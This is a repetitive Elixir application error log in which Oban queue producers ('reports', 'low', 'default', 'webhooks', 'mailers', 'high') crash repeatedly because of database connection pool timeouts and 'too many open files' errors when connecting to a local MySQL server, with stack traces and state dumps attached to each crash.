    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:14:09.238996Z], limit: 3, uuid: "840d07b6-c922-47f8-ae4c-1786df0bc64b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:09.239003Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242504>, refresh_timer: #Reference<0.2525715032.1077411843.242413>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:14:09.247053Z], limit: 5, uuid: "8e6743f7-fb85-48e1-a633-ed32bccf2b1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:09.247059Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242503>, refresh_timer: #Reference<0.2525715032.1077411843.242477>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:23.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:26.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:27.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:27.212000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:14:15.247310Z], limit: 10, uuid: "3aaeb9c2-0efd-4431-a3eb-4578f5836f16", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:15.247319Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242724>, refresh_timer: #Reference<0.2525715032.1077411843.242716>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:29.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:30.334000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:14:21.241020Z], limit: 3, uuid: "a3bf3c12-3eca-4a84-96e0-892b8bc6e5f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:21.241025Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.261664>, refresh_timer: #Reference<0.2525715032.1099431938.12140>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:33.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:14:21.244307Z], limit: 5, uuid: "65bc173b-c822-491a-b2e1-4d8999b7a63f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:21.244313Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242876>, refresh_timer: #Reference<0.2525715032.1077411843.242868>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:33.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:14:21.238776Z], limit: 5, uuid: "85e8241b-cfc2-4af5-b04d-2b738f07f701", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:21.238783Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.261663>, refresh_timer: #Reference<0.2525715032.1121189889.111551>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:33.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:14:21.239838Z], limit: 20, uuid: "1ff0a844-8ffa-48d3-844f-2ff48ab1f4e2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:21.239843Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.12146>, refresh_timer: #Reference<0.2525715032.1099431938.12115>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:33.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:14:21.239297Z], limit: 50, uuid: "e342384b-e76d-45c8-9894-a65a347ab3ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:21.239302Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.242877>, refresh_timer: #Reference<0.2525715032.1121189889.111566>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:37.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:39.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:14:27.238297Z], limit: 10, uuid: "af780182-aaca-47c7-aa00-618aa46649f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:14:27.238307Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.243012>, refresh_timer: #Reference<0.2525715032.1077411843.242998>, dispatch_cooldown: 5, running: %{}}
